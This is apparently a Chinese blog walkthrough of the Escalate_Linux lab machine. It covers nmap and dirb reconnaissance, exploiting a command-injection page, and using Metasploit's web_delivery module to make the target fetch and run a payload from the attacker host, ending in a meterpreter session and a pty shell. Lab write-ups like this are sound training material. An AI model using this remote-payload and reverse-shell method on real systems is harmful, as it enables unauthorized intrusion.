Escalate_Linux靶机详解（1）

Escalate_Linux靶机详解（1）

一，信息收集

首先扫描存活主机

目标地址：192.168.236.131

使用nmap扫描保存为linux.nmap

2，HTTP探测

发现开放了80端口http 

打开站点是apache的默认站点

默认页面，尝试对web Directory Search 使用dirb对Web站点进行PHP页面暴破 因为一般web平台默认支持PHP dirb http:/192.168.236.131 -X .php(指定后缀名)

访问扫描到的文件

存在命令注入

发现可以执行系统命令

查看内核版本 uname -r

查看系统发行版lsb_release -a

查看是否有nc工具：which nc

kali需要一个服务端，nc监听1234

发现nc无法使用

目标系统存在命令注入漏洞

背景：目标系统存在远程文件包含漏洞或者命令注入漏洞，想在目标设备上加载webshell,. 但不想在目标设备硬盘上留下任何webshell文件信息 (2)利用nc或python的方法反弹shell不好使用 解决思路：让目标设备从远端服务器加载webshell代码至内存执行

正确方法与工具：使用msf中exploit的web_delivery模块。此模块支持在本地监听一个端 口，别人一旦访问该端口就会将该端口内的文件读取至本地执行(把webshell放在该端口 下刚刚好)。

打开Msf

使用 MSE中web_delivery模块（实现webshell远程投递） use exploit/multi/script/web delivery set SRVH0ST 192.168.236.128（攻击端的地址） set LH0ST 192.168.236.128（攻击端的地址） exploit

代码填入发现无法执行，存在知识点url编码

通常如果一样东西需要编码，说明这样东西并不适合传输。对于URL来说，编码主要是为了避免引发歧义与混乱。例如，URL参数字符串中使用key=value键值对这样的形式来传参，键值对之间以&符号分隔，如/？name=xiao&pwd=123456如果你的value字符串中包含了=或者&，那么势必会造成接收U川的服务器解析错误，因此必须将引起歧义的&和=符号进行转义，也就是对其进行编码。

使用BP进行url编码

然后传递

传递成功

使用sessions -i查看

获得meterpreter

进入shell

使用$ python2 -c 'import pty;pty.spawn("/bin/bash")'

获得用户权限。

提权后面文章在发布。

Escalate_Linux(2)-利用SUID提权-CSDN博客

Escalate_Linux（3）--通过读取密码文件shadow来破解root用户的口令实现提权-CSDN博客

Escalate_Linux（4）-利用SUDO实现提权-CSDN博客

诸君山顶见！